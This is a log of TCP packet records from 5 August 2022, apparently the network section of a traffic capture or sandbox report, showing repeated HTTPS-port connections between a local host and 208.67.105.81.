Aug 5, 2022 12:11:30.167265892 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.167402983 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.168842077 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.168855906 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.176460981 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.176484108 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.223211050 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.223304033 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.223332882 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.223364115 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.223691940 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.223716021 CEST	443	49848	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.223731041 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.224008083 CEST	49848	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.745479107 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.745529890 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.745601892 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.746319056 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.746339083 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.806385040 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.807145119 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.807928085 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.807944059 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.813798904 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.813822985 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.863670111 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.863868952 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.863887072 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.863981962 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.863991022 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.864037037 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.864064932 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.864124060 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.877299070 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.877329111 CEST	443	49849	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:30.877338886 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:30.877377033 CEST	49849	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.252679110 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.252721071 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.252815008 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.253421068 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.253443003 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.314358950 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.314487934 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.315772057 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.315782070 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.321043015 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.321059942 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.370207071 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.370292902 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.370312929 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.370368958 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.370646954 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.370673895 CEST	443	49850	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.370687962 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.370762110 CEST	49850	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.799510956 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.799556017 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.799618006 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.800499916 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.800519943 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.862621069 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.862788916 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.863256931 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.863271952 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.867925882 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.867947102 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.928718090 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.928821087 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.928935051 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.928951979 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.939820051 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.939847946 CEST	443	49851	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:31.939857960 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:31.939915895 CEST	49851	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.438178062 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.438246012 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.438338041 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.439618111 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.439651966 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.501686096 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.501797915 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.505964041 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.505981922 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.510129929 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.510144949 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.556695938 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.556790113 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.556899071 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.556932926 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.569075108 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.569116116 CEST	443	49857	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.569132090 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.569166899 CEST	49857	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.790415049 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.790472984 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.790566921 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.791332960 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.791376114 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.851870060 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.852005959 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.853758097 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.853770971 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.867214918 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.867238045 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.907860994 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.907951117 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.908041954 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.918747902 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.918795109 CEST	443	49858	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:32.918807030 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:32.919677019 CEST	49858	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.788827896 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.788866043 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.788975000 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.789665937 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.789690971 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.852612019 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.853774071 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.860609055 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.860625982 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.865284920 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.865304947 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.906656027 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.906779051 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.906883955 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.918283939 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.918315887 CEST	443	49859	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:33.918334961 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:33.918384075 CEST	49859	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.416030884 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.416114092 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.416497946 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.417721987 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.417747974 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.483922005 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.484126091 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.484853029 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.484873056 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.490129948 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.490154982 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.539494991 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.539566994 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.539772034 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.559703112 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.559763908 CEST	443	49860	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:34.559791088 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:34.560534954 CEST	49860	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.374176025 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.374218941 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.374310017 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.374926090 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.374938965 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.432931900 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.433111906 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.434047937 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.434062004 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.438477039 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.438493013 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.487648964 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.487714052 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:35.487863064 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.488337040 CEST	49862	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:35.488358974 CEST	443	49862	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.472038031 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.472088099 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.472172976 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.473200083 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.473222017 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.532571077 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.532692909 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.539885998 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.539911985 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.544368982 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.544399977 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.587975025 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.588074923 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.588073969 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.588135958 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.604774952 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.604809046 CEST	443	49863	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:36.604816914 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:36.604860067 CEST	49863	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.624897957 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.624974966 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.625076056 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.626051903 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.626080036 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.687460899 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.687572956 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.688292980 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.688309908 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.692590952 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.692630053 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.743669033 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.743748903 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.743874073 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.764872074 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.764918089 CEST	443	49864	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:37.764930964 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:37.764980078 CEST	49864	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.075203896 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.075270891 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.075409889 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.076716900 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.076746941 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.139905930 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.139997005 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.146138906 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.146162033 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.153243065 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.153271914 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.194654942 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.194772959 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.194791079 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.194833040 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:38.194854975 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.194885969 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.195291042 CEST	49865	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:38.195316076 CEST	443	49865	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.018718004 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.018831968 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.018960953 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.019992113 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.020026922 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.084587097 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.084805965 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.087791920 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.087830067 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.094504118 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.094547987 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.140010118 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.140099049 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.140228033 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.140258074 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.140688896 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.140714884 CEST	443	49867	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:40.140760899 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:40.140784979 CEST	49867	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.220901012 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.220964909 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.221069098 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.222146988 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.222171068 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.281780958 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.281953096 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.284044027 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.284068108 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.290255070 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.290291071 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.336817026 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.336935997 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.336997986 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.337033033 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.337975025 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.338001966 CEST	443	49868	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.338017941 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.338170052 CEST	49868	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.903920889 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.903986931 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.904089928 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.904659986 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.904685974 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.966495991 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.967634916 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.969094038 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.969110966 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:41.974265099 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:41.974294901 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.023446083 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.023551941 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.023714066 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.023729086 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.043272018 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.043318033 CEST	443	49870	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.043335915 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.043462992 CEST	49870	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.480736971 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.480788946 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.481163979 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.483092070 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.483131886 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.542315006 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.544950008 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.554389000 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.554416895 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.558541059 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.558569908 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.596318960 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.596396923 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.596522093 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.611903906 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.611953974 CEST	443	49871	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:42.611968994 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:42.616017103 CEST	49871	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.266801119 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.266877890 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.267025948 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.268682957 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.268719912 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.327965021 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.328131914 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.338782072 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.338813066 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.343754053 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.343781948 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.387056112 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.387167931 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.387228012 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.387259007 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.405435085 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.405487061 CEST	443	49872	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:44.405503035 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:44.405565977 CEST	49872	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.425748110 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.425838947 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.425966024 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.427056074 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.427084923 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.486808062 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.486898899 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.488765001 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.488794088 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.494797945 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.494834900 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.540693045 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.540788889 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.540802002 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.540844917 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.568309069 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.568355083 CEST	443	49873	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:46.568376064 CEST	49873	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:46.568418026 CEST	49873	443	192.168.2.6	208.67.105.81
